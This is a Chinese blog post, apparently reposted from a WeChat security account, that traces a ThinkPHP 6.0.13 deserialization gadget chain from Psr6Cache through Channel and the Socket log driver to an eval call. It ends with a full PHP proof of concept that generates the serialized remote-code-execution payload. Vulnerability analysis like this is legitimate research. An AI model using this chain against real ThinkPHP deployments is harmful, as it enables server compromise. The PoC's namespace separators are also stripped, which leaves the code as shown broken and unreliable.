最近看到最新版tp6.0.13出了新的反序列化链子,因为我反序列化比较菜,所以本篇在NaMI师傅的帮助下完成
原始poc:
https://github.com/top-think/framework/issues/2749
首先安装thinkphp6,注意tp6之后只能使用composer安装
我们在poc当中可以看到漏洞最终调用点
找到该处,可以看到最后是在103行使用eval执行的
但因为这种框架向上走太麻烦,所以还是采取使用poc+动态debug进行分析
新建一个vul方法
然后直接打入payload
反序列化起始点,destruct函数,
然后可以看到跟进了save函数
其中在初始化的过程中传入了pool参数,
$this->pool->getItem调用时,触发了魔术方法_call,因为Channel对象中没有getItem方法。此时也会执行构造方法
其中call函数调用了log函数,然后又调用了record,f7跟进去看看执行了什么
我们可以看到在104行调用了save,继续跟进来
我们可以看到145中还调用了save函数,因为此时初始化的变量logger为thinklogdriverSocket,所以此时的save函数是去往Socket的类
跟进来
经过request类中的url函数解析后可以看到解析出来了我们的phpinfo
再跟进去invoke函数,可以看到传入了display
其中前面加的http是在domain函数和scheme函数中获取的
然后跟进invokeMethod函数
其中317行传入了类和方法名,然后代入329invokeArg函数中,该函数使用方法为
最后代入函数eval中解析php代码
成功RCE
最后的反序列化poc为
namespace LeagueFlysystemCachedStorage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace thinklog{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php phpinfo(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['thinkRequest'=>new Request()];
}
}
}
namespace thinkviewdriver{
class Php{}
}
namespace thinklogdriver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new thinkviewdriverPhp,'display'], # 利用类和方法
];
$this->app = new thinkApp();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new thinklogdriverSocket();
$b = new thinklogChannel($c);
$a = new LeagueFlysystemCachedStoragePsr6Cache($b);
echo urlencode(serialize($a));
}
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入!
原文始发于微信公众号(弱口令安全实验室):TP6.0.13最新反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论